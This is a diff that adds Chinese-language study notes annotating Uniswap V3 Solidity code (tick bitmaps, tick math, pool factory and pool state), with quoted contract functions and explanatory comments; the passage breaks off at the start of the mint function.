+/// @return liquidityNet The amount of liquidity added (subtracted) when tick is crossed from left to right (right to left)
+function cross(
+    mapping(int24 => Tick.Info) storage self,
+    int24 tick,
+    uint256 feeGrowthGlobal0X128,
+    uint256 feeGrowthGlobal1X128,
+    uint160 secondsPerLiquidityCumulativeX128,
+    int56 tickCumulative,
+    uint32 time
+) internal returns (int128 liquidityNet) {
+    Tick.Info storage info = self[tick];
+    info.feeGrowthOutside0X128 = feeGrowthGlobal0X128 - info.feeGrowthOutside0X128;
+    info.feeGrowthOutside1X128 = feeGrowthGlobal1X128 - info.feeGrowthOutside1X128;
+    info.secondsPerLiquidityOutsideX128 = secondsPerLiquidityCumulativeX128 - info.secondsPerLiquidityOutsideX128;
+    info.tickCumulativeOutside = tickCumulative - info.tickCumulativeOutside;
+    info.secondsOutside = time - info.secondsOutside;
+    liquidityNet = info.liquidityNet;
+}
+```
+
+补充
+
+- [Uniswap v3 详解（二）：创建交易对/提供流动性#tick-管理](https://liaoph.com/uniswap-v3-2/#tick-%E7%AE%A1%E7%90%86)
+
+## TickBitmap
+
+管理tick初始化状态的位图，在Pool内初始化
+
+```solidity
+using TickBitmap for mapping(int16 => uint256);
+...
+/// @inheritdoc IUniswapV3PoolState
+mapping(int16 => uint256) public override tickBitmap;
+```
+
+- 键(wordPos)为`int16`(有符号)，值(word)为`uint256`(无符号)，即 每256位为一个word
+- 使用二进制0和1记录初始化状态，0 未初始化 1 已初始化，参见flipTick
+
+### functions
+
+#### position
+
+传入tick，获取其在bitmap上，位于第几个word(wordPos)的第几位(bitPos)
+
+**注意：** 在同一个`word`内，`bitPos`越大，tick(index) 反而越小。
+
+- 假设 `tick = 3`, 此时 `bitPos = 3 % 256 = 3`
+- 而记录tick状态是利用掩码和异或运算(参见[flipTick](#flipTick)函数)
+  - `mask = 1 << 3 = 8` 8 的二进制是 1000
+  - `self[wordPos] ^= mask` 可以看出这里是对 uint256 的倒数第4位进行操作
+- 即 在第`wordPos`个word内，第 `(256 - bitPos)` 位数值代表了tick的状态
+
+```solidity
+/// @notice Computes the position in the mapping where the initialized bit for a tick lives
+/// @param tick The tick for which to compute the position
+/// @return wordPos The key in the mapping containing the word in which the bit is stored
+/// @return bitPos The bit position in the word where the flag is stored
+function position(int24 tick) private pure returns (int16 wordPos, uint8 bitPos) {
+    wordPos = int16(tick >> 8);
+    bitPos = uint8(tick % 256);
+}
+```
+
+#### flipTick
+
+翻转tick初始化状态。
+
+```solidity
+/// @notice Flips the initialized state for a given tick from false to true, or vice versa
+/// 翻转tick的初始化状态， 未初始化 -> 初始化，反之亦然
+/// @param self The mapping in which to flip the tick
+/// self代表bitmap
+/// @param tick The tick to flip
+/// @param tickSpacing The spacing between usable ticks
+/// tickSpacing tick的间距
+function flipTick(
+    mapping(int16 => uint256) storage self,
+    int24 tick,
+    int24 tickSpacing
+) internal {
+    // 检查tick是否已经设置间隔
+    // 如果余数不为零，说明tick未按照间隔排列
+    require(tick % tickSpacing == 0); // ensure that the tick is spaced
+    // 获取tick在哪个word的哪一位上
+    (int16 wordPos, uint8 bitPos) = position(tick / tickSpacing);
+    // 利用掩码和异或运算做状态的翻转
+    uint256 mask = 1 << bitPos;
+    self[wordPos] ^= mask;
+}
+```
+
+相关代码
+
+- [tickSpacing](./UniswapV3Pool.md#tickSpacing)
+- [tick.position](#position)
+
+#### nextInitializedTickWithinOneWord
+
+传入`starting tick`(可能未初始化), 在其所在的word内寻找最近离`starting tick`最近的已初始化的tick，若没有已初始化的tick，返回word的边界。
+
+入参解释
+
+- `int24 tick` starting tick 搜索的起始tick
+- `int24 tickSpacing` 参见 [tickSpacing](./UniswapV3Pool.md#tickSpacing)
+- `lte` next tick (返回值) <= starting tick 的bool值
+  - true 为寻找价格较小的tick(包括 starting tick 本身)
+  - false 为寻找较大价格的tick
+
+函数返回值 (`next`, `initialized`)
+
+- 当word内已有初始化tick，`next` 返回其 tickIndex
+- 当word内无初始化tick，`next` 返回word的边界
+  - `lte = true` 时，代表价格趋于变小，`next` 返回word **右** 边界对应的 tickIndex
+  - `lte = false` 时，代表价格趋于变大，`next` 返回word **左** 边界对应的 tickIndex
+- `initialized` 返回`next`的初始化状态(有可能为false)
+
+```solidity
+/// @notice Returns the next initialized tick contained in the same word (or adjacent word) as the tick that is either
+/// 在同一个word内返回离传入tick最近的已初始化的tick
+/// to the left (less than or equal to) or right (greater than) of the given tick
+/// @param self The mapping in which to compute the next initialized tick
+/// @param tick The starting tick
+/// @param tickSpacing The spacing between usable ticks
+/// @param lte Whether to search for the next initialized tick to the left (less than or equal to the starting tick)
+/// @return next The next initialized or uninitialized tick up to 256 ticks away from the current tick
+/// @return initialized Whether the next tick is initialized, as the function only searches within up to 256 ticks
+function nextInitializedTickWithinOneWord(
+    mapping(int16 => uint256) storage self,
+    int24 tick,
+    int24 tickSpacing,
+    bool lte
+) internal view returns (int24 next, bool initialized) {
+    // 计算传入position函数的入参
+    int24 compressed = tick / tickSpacing;
+    // 若tick < 0 , 需要 -1
+    // 若tick >= 0, 因为正数轴上第一个wordPos是0，所以不需要+1
+    if (tick < 0 && tick % tickSpacing != 0) compressed--; // round towards negative infinity
+
+    // 搜索价格较小的next(next tick <= starting tick)
+    if (lte) {
+        // 获取wordPos bitPos
+        (int16 wordPos, uint8 bitPos) = position(compressed);
+        // all the 1s at or to the right of the current bitPos
+        // mask 在二进制下是 1...1 (bitPos+1 个 1)
+        uint256 mask = (1 << bitPos) - 1 + (1 << bitPos);
+        uint256 masked = self[wordPos] & mask;
+
+        // if there are no initialized ticks to the right of or at the current tick, return rightmost in the word
+        // 在word内，小于等于 starting tick 的价格是否有已初始化的tick
+        initialized = masked != 0;
+
+        // overflow/underflow is possible, but prevented externally by limiting both tickSpacing and tick
+        // 上溢或下溢都是有可能的，但这里限制了 tickSpacing 和 tick 防止这种情况发生
+        // 当有初始化tick时，查找小于 starting tick 价格最近的已初始化tick
+        // 即 查找word内，starting tick右侧距离最近值为1的位
+        // 没有初始化时，直接返回word的右边界（tickindex最小）
+        next = initialized
+            ? (compressed - int24(bitPos - BitMath.mostSignificantBit(masked))) * tickSpacing
+            : (compressed - int24(bitPos)) * tickSpacing;
+    } else {
+        // 搜索价格较大的next(next tick > starting tick) 不包括 starting tick
+        // start from the word of the next tick, since the current tick state doesn't matter
+        // 直接从 compressed + 1 开始搜索，因为这里搜索的目标范围不包括 starting tick 本身
+        (int16 wordPos, uint8 bitPos) = position(compressed + 1);
+        // all the 1s at or to the left of the bitPos
+        // 获得掩码 111...110...0 形式，共256位，bitPos 个0，前面全是1
+        uint256 mask = ~((1 << bitPos) - 1);
+        uint256 masked = self[wordPos] & mask;
+
+        // if there are no initialized ticks to the left of the current tick, return leftmost in the word
+        // 在word内，大于 starting tick 的价格是否有已初始化的tick
+        initialized = masked != 0;
+
+        // overflow/underflow is possible, but prevented externally by limiting both tickSpacing and tick
+
+        // 当有初始化tick时，查找大于 starting tick 价格最近的已初始化tick
+        // 即 查找word内，starting tick左侧距离最近值为1的位
+        // 没有初始化时，直接返回word的右边界（tickindex最小）
+        next = initialized
+            ? (compressed + 1 + int24(BitMath.leastSignificantBit(masked) - bitPos)) * tickSpacing
+            : (compressed + 1 + int24(type(uint8).max - bitPos)) * tickSpacing;
+    }
+}
+```
+
+- [TickBitMap.position](#position)
+- [TickBitMap.mostSignificantBit](#mostSignificantBit)
+- [TickBitMap.leastSignificantBit](#leastSignificantBit)
+
+#### mostSignificantBit
+
+传入x，x二进制下从前往后查第一个值为1的是倒数第几位
+
+```solidity
+/// @notice Returns the index of the most significant bit of the number,
+///     where the least significant bit is at index 0 and the most significant bit is at index 255
+/// @dev The function satisfies the property:
+///     x >= 2**mostSignificantBit(x) and x < 2**(mostSignificantBit(x)+1)
+/// @param x the value for which to compute the most significant bit, must be greater than 0
+/// @return r the index of the most significant bit
+function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {
+    require(x > 0);
+
+    if (x >= 0x100000000000000000000000000000000) { // 2^128
+        x >>= 128;
+        r += 128;
+    }
+    if (x >= 0x10000000000000000) { // 2^64
+        x >>= 64;
+        r += 64;
+    }
+    if (x >= 0x100000000) { // 2^32
+        x >>= 32;
+        r += 32;
+    }
+    if (x >= 0x10000) { // 2^16
+        x >>= 16;
+        r += 16;
+    }
+    if (x >= 0x100) { // 2^8
+        x >>= 8;
+        r += 8;
+    }
+    if (x >= 0x10) { // 2^4
+        x >>= 4;
+        r += 4;
+    }
+    if (x >= 0x4) { // 2^2
+        x >>= 2;
+        r += 2;
+    }
+    if (x >= 0x2) r += 1;
+}
+```
+
+#### leastSignificantBit
+
+传入x，x二进制下从后往前查第一个值为1的是倒数第几位
+
+```solidity
+/// @notice Returns the index of the least significant bit of the number,
+///     where the least significant bit is at index 0 and the most significant bit is at index 255
+/// @dev The function satisfies the property:
+///     (x & 2**leastSignificantBit(x)) != 0 and (x & (2**(leastSignificantBit(x)) - 1)) == 0)
+/// @param x the value for which to compute the least significant bit, must be greater than 0
+/// @return r the index of the least significant bit
+function leastSignificantBit(uint256 x) internal pure returns (uint8 r) {
+    require(x > 0);
+
+    r = 255;
+    if (x & type(uint128).max > 0) {
+        r -= 128;
+    } else {
+        x >>= 128;
+    }
+    if (x & type(uint64).max > 0) {
+        r -= 64;
+    } else {
+        x >>= 64;
+    }
+    if (x & type(uint32).max > 0) {
+        r -= 32;
+    } else {
+        x >>= 32;
+    }
+    if (x & type(uint16).max > 0) {
+        r -= 16;
+    } else {
+        x >>= 16;
+    }
+    if (x & type(uint8).max > 0) {
+        r -= 8;
+    } else {
+        x >>= 8;
+    }
+    if (x & 0xf > 0) {
+        r -= 4;
+    } else {
+        x >>= 4;
+    }
+    if (x & 0x3 > 0) {
+        r -= 2;
+    } else {
+        x >>= 2;
+    }
+    if (x & 0x1 > 0) r -= 1;
+}
+```
+
+## TickMath
+
+Tick 的数学计算方法
+
+tick 的序号，用`i`表示。`i = log√1.0001√P` (以√1.0001为底数，√Price的log值)
+
+### state
+
+#### sqrtPriceX96
+
+UniswapV3中的价格（√P）用`sqrtPriceX96`参数表示
+
+- `sqrtPriceX96` (√P) 可以用 `1.0001^i` 表示
+- `sqrtPriceX96` 是一个Q64.96的定点数，即 前64位表示整数部分，后96位表示小数部分，总位数160（由于solidity不支持浮点数，用uint160类型记录）
+- 价格的取值范围 [2^-128, 2^128]。因为 `sqrtPriceX96` 的整数相当于（uint64），即 √P 取值范围 [2^-64, 2^64]
+- 由上可得tick序号`i`的取值范围 [log√1.0001√2^-64, log√1.0001√2^64]。因此tick的序号是在区间 [-887272, 887272] 的整数集合
+- -887272, 887272 即为 `MIN_TICK` 和 `MAX_TICK`
+
+#### MIN_TICK
+
+tick序号在负区间的最大个数
+
+```solidity
+/// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
+int24 internal constant MIN_TICK = -887272;
+```
+
+#### MAX_TICK
+
+tick序号在正区间的最大个数
+
+```solidity
+/// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
+int24 internal constant MAX_TICK = -MIN_TICK;
+```
+
+#### MIN_SQRT_RATIO
+
+`getSqrtRatioAtTick` 函数能返回的最小价格
+
+```solidity
+/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
+uint160 internal constant MIN_SQRT_RATIO = 4295128739;
+```
+
+#### MAX_SQRT_RATIO
+
+`getSqrtRatioAtTick` 函数能返回的最大价格
+
+```solidity
+/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
+uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
+```
+
+### functions
+
+#### getSqrtRatioAtTick
+
+由tickIndex计算出 √P
+
+![getSqrtRatioAtTick原理解析](./img/getSqrtRatioAtTick.png)
+
+```solidity
+/// @notice Calculates sqrt(1.0001^tick) * 2^96
+/// 计算 sqrt(1.0001^tick) * 2^96 (因为 sqrtPriceX96 是96位定点数)
+/// @dev Throws if |tick| > max tick
+/// tick 绝对值 不能超过 MAX_TICK
+/// @param tick The input tick for the above formula
+/// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
+/// 函数返回 sqrtPriceX96 是一个 Q64.96 定点数， 表示 √(token1/token0) 
+/// at the given tick
+function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
+    // 求出 tick 的绝对值
+    uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
+    // tick 绝对值 不能超过 MAX_TICK
+    require(absTick <= uint256(MAX_TICK), 'T');
+
+    // 这些魔数分别表示 1/sqrt(1.0001)^1, 1/sqrt(1.0001)^2, 1/sqrt(1.0001)^4....
+    // tick 可以用 20 位二进制数表示， 下列代码是计算出每一位的数值（从后往前）
+
+    // absTick & 0x1 将 |tick| 和 0x1 按位与 得出第 20 位数值 （0或1）
+    // 第20位(末位)如果为0，需要特殊处理，ratio赋值为0x100...0(32个0)
+    // 函数最后需要将ratio (Q128.128定点数) 转换为 sqrtPriceX96 (Q64.96)
+    // 结果需要右移32位，所以这里有32个0
+    uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
+    // ratio采用连乘的方式来累加指数（tick），当某一位数值是0时，不参与连乘
+    // 每一个魔数都是小于1的Q128.128定点数，所以在每次运算完成后，需要将结果右移128位
+    if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
+    if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
+    if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
+    if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
+    if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
+    if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
+    if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
+    if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
+    if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
+    if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
+    if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
+    if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
+    if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
+    if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
+    if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
+    if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
+    if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
+    if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
+    if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
+
+    if (tick > 0) ratio = type(uint256).max / ratio;
+
+    // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
+    // we then downcast because we know the result always fits within 160 bits due to our tick input constraint
+    // we round up in the division so getTickAtSqrtRatio of the output price is always consistent
+    sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
+}
+```
+
+补充
+
+- 代码解析原文 [Uniswap v3 详解（二）：创建交易对/提供流动性 #TickIndex -> √P](https://liaoph.com/uniswap-v3-2/#tick-index---sqrt-p)
+
+#### getTickAtSqrtRatio
+
+由tickIndex计算出 √P
diff --git a/defi/Uniswap-V3/contractGuide/UniswapV3Factory.md b/defi/Uniswap-V3/contractGuide/UniswapV3Factory.md
new file mode 100644
index 000000000..ed7ffed19
--- /dev/null
+++ b/defi/Uniswap-V3/contractGuide/UniswapV3Factory.md
@@ -0,0 +1,137 @@
+# UniswapV3Factory 主要代码解读
+
+## State Variables
+
+### owner
+
+```solidity
+/// @inheritdoc IUniswapV3Factory
+address public override owner;
+```
+
+### feeAmountTickSpacing
+
+根据费率设置的不同的 [tickSpacing](./UniswapV3Pool.md#tickSpacing) 间隔
+
+```solidity
+/// @inheritdoc IUniswapV3Factory
+mapping(uint24 => int24) public override feeAmountTickSpacing;
+```
+
+初始化代码
+
+```solidity
+contsructor() {
+    ...
+    feeAmountTickSpacing[500] = 10;
+    feeAmountTickSpacing[3000] = 60;
+    feeAmountTickSpacing[10000] = 200;
+}
+```
+
+### getPool
+
+Pool的地址索引，通过 `tokenA`, `tokenB`, `fee` 三个键查找
+
+```solidity
+/// @inheritdoc IUniswapV3Factory
+mapping(address => mapping(address => mapping(uint24 => address))) public override getPool;
+```
+
+### parameters
+
+存储Pool初始化的参数
+
+```solidity
+struct Parameters {
+    address factory;
+    address token0;
+    address token1;
+    uint24 fee;
+    int24 tickSpacing;
+}
+
+/// @inheritdoc IUniswapV3PoolDeployer
+Parameters public override parameters;
+```
+
+## Struct
+
+
+## Functions
+
+### createPool
+
+通过token交易对（顺序不影响），fee费率，三个参数部署Pool合约
+
+```solidity
+/// @inheritdoc IUniswapV3Factory
+function createPool(
+    address tokenA,
+    address tokenB,
+    uint24 fee
+) external override noDelegateCall returns (address pool) {
+    // 需要两种不同token
+    require(tokenA != tokenB);
+    // 对token地址排序
+    (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
+    // tokenA地址不能为 0 因为B比A大 所以只用断言一个
+    require(token0 != address(0));
+    // 根据费率设定Pool的tickSpacing
+    int24 tickSpacing = feeAmountTickSpacing[fee];
+    require(tickSpacing != 0);
+    // 查询该Pool地址 地址必须为 0 否则说明Pool已创建
+    require(getPool[token0][token1][fee] == address(0));
+    // 部署Pool合约
+    pool = deploy(address(this), token0, token1, fee, tickSpacing);
+    getPool[token0][token1][fee] = pool;
+    // populate mapping in the reverse direction, deliberate choice to avoid the cost of comparing addresses
+    getPool[token1][token0][fee] = pool;
+    emit PoolCreated(token0, token1, fee, tickSpacing, pool);
+}
+```
+
+### deploy
+
+部署 `UniswapV3Pool` 合约
+
+- 先将初始化参数存入storage，方便Pool合约初始化时调用，部署完成后，清除storage
+- 不直接传入初始化参数的原因是这里使用了 `CREATE2` 来部署合约，`CREATE2` 会将合约的 `initcode`(包含constructor的参数) 和 `salt` 一起用来计算创建出的合约地址
+- 使用 `CREATE2` 的优势：
+  - 可以在链下计算出已经创建的交易池的地址
+  - 其他合约不必通过 UniswapV3Factory 中的接口来查询交易池的地址，可以节省 gas
+  - 合约地址不会因为 reorg 而改变
+- 不使用V2的`initialize`方法来初始化是因为这些参数在V3中都是`immutable`,无法在除了`constructor`的函数里面赋值.immutable的值在编译器编译后,将会在初次运行时写入合约的运行时代码中, 因此访问immutable参数比访问slot值会更快.这可能是这些参数设计成immutable的原因.
+```solidity
+/// @dev Deploys a pool with the given parameters by transiently setting the parameters storage slot and then
+/// clearing it after deploying the pool.
+/// @param factory The contract address of the Uniswap V3 factory
+/// @param token0 The first token of the pool by address sort order
+/// @param token1 The second token of the pool by address sort order
+/// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
+/// @param tickSpacing The spacing between usable ticks
+function deploy(
+    address factory,
+    address token0,
+    address token1,
+    uint24 fee,
+    int24 tickSpacing
+) internal returns (address pool) {
+    // 将初始化参数存入storage
+    parameters = Parameters({factory: factory, token0: token0, token1: token1, fee: fee, tickSpacing: tickSpacing});
+    // 使用 CREATE2 指令部署Pool合约
+    // Pool初始化时 会访问storage中的初始化参数
+    pool = address(new UniswapV3Pool{salt: keccak256(abi.encode(token0, token1, fee))}());
+    // 部署完成 清除storage
+    delete parameters;
+}
+```
+
+相关代码
+
+- [tickSpacing](./UniswapV3Pool.md#tickSpacing)
+- [UniswapV3Pool.constructor](./UniswapV3Pool.md#constructor)
+
+补充
+
+- 关于使用 salt 创建合约的解释：[Salted contract creations / create2](https://docs.soliditylang.org/en/latest/control-structures.html#salted-contract-creations-create2)
diff --git a/defi/Uniswap-V3/contractGuide/UniswapV3Pool.md b/defi/Uniswap-V3/contractGuide/UniswapV3Pool.md
new file mode 100644
index 000000000..070e2967a
--- /dev/null
+++ b/defi/Uniswap-V3/contractGuide/UniswapV3Pool.md
@@ -0,0 +1,1274 @@
+# UniswapV3Pool 主要代码解读
+
+pool合约负责池子的所有操作：
+```
+  function mint(
+        address recipient,
+        int24 tickLower,
+        int24 tickUpper,
+        uint128 amount,
+        bytes calldata data
+    ) external override lock returns (uint256 amount0, uint256 amount1) {
+
+ function collect(
+        address recipient,
+        int24 tickLower,
+        int24 tickUpper,
+        uint128 amount0Requested,
+        uint128 amount1Requested
+    ) external override lock returns (uint128 amount0, uint128 amount1)
+
+
+ function burn(
+        int24 tickLower,
+        int24 tickUpper,
+        uint128 amount
+    ) external override lock returns (uint256 amount0, uint256 amount1) 
+
+
+   function swap(
+        address recipient,
+        bool zeroForOne,
+        int256 amountSpecified,
+        uint160 sqrtPriceLimitX96,
+        bytes calldata data
+    ) external override noDelegateCall returns (int256 amount0, int256 amount1)
+
+ function flash(
+        address recipient,
+        uint256 amount0,
+        uint256 amount1,
+        bytes calldata data
+    ) external override lock noDelegateCall
+
+```
+
+## State Variables
+
+### factory, token0, token1
+
+相关合约地址
+
+```solidity
+/// @inheritdoc IUniswapV3PoolImmutables
+address public immutable override factory;
+/// @inheritdoc IUniswapV3PoolImmutables
+address public immutable override token0;
+/// @inheritdoc IUniswapV3PoolImmutables
+address public immutable override token1;
+```
+
+### fee
+
+费率
+
+```solidity
+/// @inheritdoc IUniswapV3PoolImmutables
+uint24 public immutable override fee;
+```
+
+### tickSpacing
+
+用于计算费率的tick计算间隔
+
+尽管tick已经是一个个离散的价格点，但依旧很密集，所以引入了tickSpacing概念，使得计算时节省gas
+
+对于价格波动较小的交易池，我们希望 tickSpacing 更小，这样价格可选值更多，同时也希望费率更低。反之波动大的交易对，可以让 tickSpacing 更大，这样更节约 gas，但是我们希望它的费率更高。
+
+```solidity
+/// @inheritdoc IUniswapV3PoolImmutables
+int24 public immutable override tickSpacing;
+```
+
+### maxLiquidityPerTick
+
+每个tick上能承载的最大流动性
+
+```solidity
+/// @inheritdoc IUniswapV3PoolImmutables
+uint128 public immutable override maxLiquidityPerTick;
+```
+
+相关代码
+
+- [Tick.tickSpacingToMaxLiquidityPerTick](./Tick.md#tickSpacingToMaxLiquidityPerTick)
+
+### slot0
+
+交易相关的全局状态，存于 `storage slot` 插槽中
+
+- Pool合约的全局状态 (public state) 在slot0之前定义的都是 `immutable` 类型变量，不会占用slot插槽，该结构体存储位置是 `storage slot` 的第一个插槽，因而命名为 `slot0`
+- `storage slot` 每个插槽有32个字节（256位），内部数据会被紧凑型打包，如果超出会进入第二个插槽；这里打包的数据加起来255位，可以比较合理的利用存储空间，节省访问的gas开销（不用访问多个插槽）
+
+```solidity
+struct Slot0 {
+    // the current price
+    // 当前的交易价格 √P sqrt(token1/token0) Q64.96
+    uint160 sqrtPriceX96;
+    // the current tick
+    // 当前价格对应的tick index
+    int24 tick;
+    // the most-recently updated index of the observations array
+    // 最近更新的预言机数据的索引值
+    uint16 observationIndex;
+    // the current maximum number of observations that are being stored
+    // oracle 当前能存储的最大数量（数据的个数）
+    uint16 observationCardinality;
+    // the next maximum number of observations to store, triggered in observations.write
+    // Oracle 下次将要写入数据位置的索引值
+    uint16 observationCardinalityNext;
+    // the current protocol fee as a percentage of the swap fee taken on withdrawal
+    // represented as an integer denominator (1/x)%
+    // 当前的协议费率 uint8类型 前4位代表 x 换成 y 的费率 后4位反之
+    // 协议费率的 x 为计算费率的时候的分母
+    // 即 protocolFee = fee * (1/x)%
+    // x = 0 或 4 <= x <= 10 的整数
+    uint8 feeProtocol;
+    // whether the pool is locked
+    // 防止重入攻击的互斥锁
+    bool unlocked;
+}
+/// @inheritdoc IUniswapV3PoolState
+Slot0 public override slot0;
+```
+
+相关代码
+
+- [modifier lock](#lock)
+
+补充
+
+- [Constant and Immutable State Variables](https://docs.soliditylang.org/en/latest/contracts.html#constant-and-immutable-state-variables)
+- [Layout of State Variables in Storage](https://docs.soliditylang.org/en/latest/internals/layout_in_storage.html#layout-of-state-variables-in-storage)
+
+### feeGrowthGlobal0X128
+
+Pool当前收取的手续费（token0）
+
+```solidity
+/// @inheritdoc IUniswapV3PoolState
+uint256 public override feeGrowthGlobal0X128;
+```
+
+### feeGrowthGlobal1X128
+
+Pool当前收取的手续费（token1）
+
+```solidity
+/// @inheritdoc IUniswapV3PoolState
+uint256 public override feeGrowthGlobal1X128;
+```
+
+### protocolFees
+
+协议费（暂未启用）
+
+```solidity
+// accumulated protocol fees in token0/token1 units
+struct ProtocolFees {
+    uint128 token0;
+    uint128 token1;
+}
+/// @inheritdoc IUniswapV3PoolState
+ProtocolFees public override protocolFees;
+```
+
+### liquidity
+
+Pool当前的可用的流动性（当前激活的position流动性总和）（公式中的L， L^2 = K)
+
+```solidity
+/// @inheritdoc IUniswapV3PoolState
+uint128 public override liquidity;
+```
+
+### ticks
+
+```solidity
+/// @inheritdoc IUniswapV3PoolState
+mapping(int24 => Tick.Info) public override ticks;
+```
+
+相关代码
+
+- [Tick.info](./Tick.md#Info)
+
+### tickBitmap
+一个bitmap对应256个ticks, 所以这里mapping定义的时候用的是int16, ticks的mapping定义用的是int24, 因为2^16 * 256 = 2^24
+```solidity
+/// @inheritdoc IUniswapV3PoolState
+mapping(int16 => uint256) public override tickBitmap;
+```
+
+### positions
+
+`position`列表
+`position`是用户的流动性头寸
+
+```solidity
+/// @inheritdoc IUniswapV3PoolState
+mapping(bytes32 => Position.Info) public override positions;
+```
+
+相关代码
+
+- [Position Info](#Position.info)
+
+### observations
+
+```solidity
+/// @inheritdoc IUniswapV3PoolState
+Oracle.Observation[65535] public override observations;
+```
+
+相关代码
+
+- [Observation](./Oracle.md#Observation)
+
+## Struct
+
+### Position.Info
+
+用户position的数据结构
+
+```solidity
+// info stored for each user's position
+struct Info {
+    // the amount of liquidity owned by this position
+    uint128 liquidity;
+    // fee growth per unit of liquidity as of the last update to liquidity or fees owed
+    uint256 feeGrowthInside0LastX128;
+    uint256 feeGrowthInside1LastX128;
+    // the fees owed to the position owner in token0/token1
+    uint128 tokensOwed0;
+    uint128 tokensOwed1;
+}
+```
+
+### StepComputations
+
+用于swap函数的分步交易状态缓存
+
+```solidity
+struct StepComputations {
+    // the price at the beginning of the step
+    // 当前步的起始价格
+    uint160 sqrtPriceStartX96;
+    // the next tick to swap to from the current tick in the swap direction
+    // 目标价格的tickindex
+    int24 tickNext;
+    // whether tickNext is initialized or not
+    // tickNext 是否已初始化 （已有流动性）
+    bool initialized;
+    // sqrt(price) for the next tick (1/0)
+    // 目标价格(根号)
+    uint160 sqrtPriceNextX96;
+    // how much is being swapped in this step
+    // 当前步交易了多少输入token
+    uint256 amountIn;
+    // how much is being swapped out
+    // 当前步交易了多少输出token
+    uint256 amountOut;
+    // how much fee is being paid in
+    // 当前步收取的手续费数量
+    uint256 feeAmount;
+}
+```
+
+## Functions
+
+### constructor
+
+Pool构造函数，由Factory合约调用
+Factory合约部署Pool时会存储相关参数到storage
+
+```solidity
+constructor() {
+    int24 _tickSpacing;
+    // 从storage中取出初始化参数
+    (factory, token0, token1, fee, _tickSpacing) = IUniswapV3PoolDeployer(msg.sender).parameters();
+    tickSpacing = _tickSpacing;
+
+    maxLiquidityPerTick = Tick.tickSpacingToMaxLiquidityPerTick(_tickSpacing);
+}
+```
+
+相关代码
+
+- [UniswapV3PoolDeployer(msg.sender).parameters](./UniswapV3Factory.md#parameters)
+- [tickSpacing](#tickSpacing)
+
+### initialize
+
+对交易对进行初始化，初始化的作用就是给交易对设置一个初始的价格
+
+```solidity
+/// @inheritdoc IUniswapV3PoolActions
+/// @dev not locked because it initializes unlocked
+/// slot0.unlocked 当前为false，需要将其设为true，解除锁定
+function initialize(uint160 sqrtPriceX96) external override {
+    // 初始价格不能为0
+    require(slot0.sqrtPriceX96 == 0, 'AI');
+
+    // 通过√P获取tickindex
+    int24 tick = TickMath.getTickAtSqrtRatio(sqrtPriceX96);
+
+    // 初始化oracle
+    (uint16 cardinality, uint16 cardinalityNext) = observations.initialize(_blockTimestamp());
+
+    // 初始化slot0
+    slot0 = Slot0({
+        sqrtPriceX96: sqrtPriceX96,
+        tick: tick,
+        observationIndex: 0,
+        observationCardinality: cardinality,
+        observationCardinalityNext: cardinalityNext,
+        feeProtocol: 0,
+        unlocked: true
+    });
+
+    emit Initialize(sqrtPriceX96, tick);
+}
+```
+
+相关代码
+
+- [observations.initialize](./Oracle.md#initialize)
+
+### mint
+
+修改用户的position状态，调用manager的mint回调函数，进行token的转帐操作
+
+```solidity
+/// @inheritdoc IUniswapV3PoolActions
+/// @dev noDelegateCall is applied indirectly via _modifyPosition
+/// _modifyPosition 具有 noDelegateCall 修饰符，所以这里也有同样的限制
+function mint(
+    address recipient,
+    int24 tickLower,
+    int24 tickUpper,
+    uint128 amount,
+    bytes calldata data
+) external override lock returns (uint256 amount0, uint256 amount1) {
